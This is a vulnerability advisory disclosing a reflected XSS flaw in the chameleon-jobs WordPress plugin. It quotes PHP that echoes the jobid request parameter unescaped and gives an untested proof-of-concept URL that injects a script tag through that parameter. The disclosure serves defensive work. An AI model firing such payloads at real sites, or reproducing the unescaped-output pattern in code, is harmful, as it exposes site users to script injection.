Advisory #: 875
Title: Reflected XSS in wordpress plugin chameleon-jobs v1.2.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/chameleon-jobs
Downloads: 247
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: chameleon-jobs
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./chameleon-jobs/job_details.php: 59:<!-- <a class="view_morebtn" href="index.php?page_id=<?php echo $pageid?>&task=apply&jobid=<?php echo $_REQUEST['jobid']; ?>&job_title=<?php echo esc_html($job_details['JobTitle']); ?>">Apply</a>--> 60: <a class="view_morebtn" href="index.php?page_id=<?php echo $pageid?>&task=apply&jobid=<?php echo $_REQUEST['jobid']; ?>&job_title=<?php echo esc_html($job_details['JobTitle']); ?>">Login & Apply</a> 61: <a class="view_morebtn" href="index.php?page_id=<?php echo $pageid?>&task=apply&jobid=<?php echo $_REQUEST['jobid']; ?>&job_title=<?php echo esc_html($job_details['JobTitle']); ?>">Register & Apply</a> The variable jobid appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./chameleon-jobs/job_details.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/chameleon-jobs/job_details.php?jobid="><script>alert(1);</script><"